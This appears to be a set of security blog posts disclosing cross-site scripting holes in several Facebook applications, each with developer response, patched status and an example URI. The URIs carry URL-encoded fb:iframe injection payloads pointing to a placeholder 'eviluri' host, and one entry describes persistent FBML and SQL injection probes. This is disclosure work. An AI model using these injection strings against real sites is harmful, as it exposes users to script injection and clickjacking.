Social Media Security is on Twitter!

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FAXX Hack: My Zoo

Current Monthly Active Users: 953,784

Current Rank on Application Leaderboard: 124

Application Developer: Eyrewood Studios

Responsiveness: I did not direct contact information for the developer, so I forwarded this request to Facebook, and the hole has since been patched.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/myownzoo/friends.php?uid=1527549541%5C%27%2F%3E%3Cfb%3Aiframe%20src%3D%22http%3A%2F%2Feviluri%22%3E

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FAXX Hack: Hugged

Facebook Verified Application

Current Monthly Active Users: 3,169,974

Current Rank on Application Leaderboard: 51

Application Developer: Manakki

Responsiveness: I did not receive any responses from Manakki, but they did patch the hole – the example URI below now brings up a page that says, “Please go away.”

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/huggees/experi?hid=318&idz=1077687358%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E

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FAXX Hack: SocialCalendar

Facebook Verified Application

Current Monthly Active Users: 1,661,572

Current Rank on Application Leaderboard: 93

Application Developer: SocialCalendar.com

Responsiveness: I received an e-mail back from SocialCalendar the day after contacting them, and they noted that they take information security seriously.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/socialcal/?x=0&ref=&sc_op=showView&sc_v=movieList&sc_movie_category=upcoming&sc_page=1%3Cfb:iframe+src%3D%22http://eviluri/%22%3E&sc_max_page_viewed=1

Example POST Request: http://apps.facebook.com/socialcal/?sc_movie_search_type=NAME&sc_movie_search_query=”/><fb:iframe src=”http://eviluri/”>&sc_op=showView&sc_v=movieSearch

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FAXX Hack: Circle of Friends

Posting these is not an automated process, and I was on the road most of yesterday, so again I apologize for being a day late. This counts as Friday’s FAXX Hack.

Current Monthly Active Users: 635,797

Current Rank on Application Leaderboard: 172

Application Developer: Bantr

Responsiveness: I received an e-mail about a day after reporting the hole to let me know that Bantr had fixed it.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/friendcircles/circle_settings.php?circle_id=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E

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FAXX Hack: Brain Buddies

Facebook Verified Application

Current Monthly Active Users: 4,861,078

Current Rank on Application Leaderboard: 38

Application Developer: wooga – world of gaming

Responsiveness: Wooga did not send any messages, but did patch the hole.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/brainbuddies/?ref=%22%2F%253E%253Cfb%253Aiframe%2Bsrc%253D%2522%22%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E

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FAXX Hack: NetworkedBlogs

Reported By: Tom Eston

Current Monthly Active Users: 674,027

Current Rank on Application Leaderboard: 164

Application Developer: Ninua, Inc.

Responsiveness: Ninua responded quickly and issued a patch within 24 hours. Furthermore, they went back and scanned all of their pages for holes, then did a second sweep the next week.

Vulnerability Status: Patched

Technical Details:

  1. One could insert FBML into the Link Name field for links in a user’s profile. This code would then be rendered when someone viewed the profile.
  2. At least one page appeared to have a SQL injection hole.  As an example, searching for \’test producing a lengthy SQL error.
  3. One page,  http://apps.facebook.com/blognetworks/userpage.php, was vulnerable to both SQL injection and XSS by inserting text into the uid parameter, such as \<img src=””>.

Notes: This is the first example of a persistent XSS hole in a Facebook application that I became aware of, and full credit for the find goes to security researcher Tom Eston, one of the main people behind SocialMediaSecurity.com.

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Minor Changes to the Month of Facebook Bugs

For the second half of the FAXX Hacks series, I will be making two changes. First, I will no longer indicate whether a vulnerability is also susceptible to clickjacking installs. This project has taken a good deal of volunteered time, and I’ve already shown that over half of the first 15 vulnerabilities could be used with clickjacking.

Second, the example URIs for the next 15 applications will simply demonstrate inserting an fb:iframe tag. Working out the details of the full double-injection trick I’ve previously demonstrated usually takes considerably more time than checking for clickjacking, and thus far has nearly always been possible. When I release demonstration attack code in October, I also plan on giving a more thorough explanation of the double-injection technique.

Thanks for reading and I hope you enjoy the rest of the series – if you think the first half exhausted all the applications with large userbases, think again.

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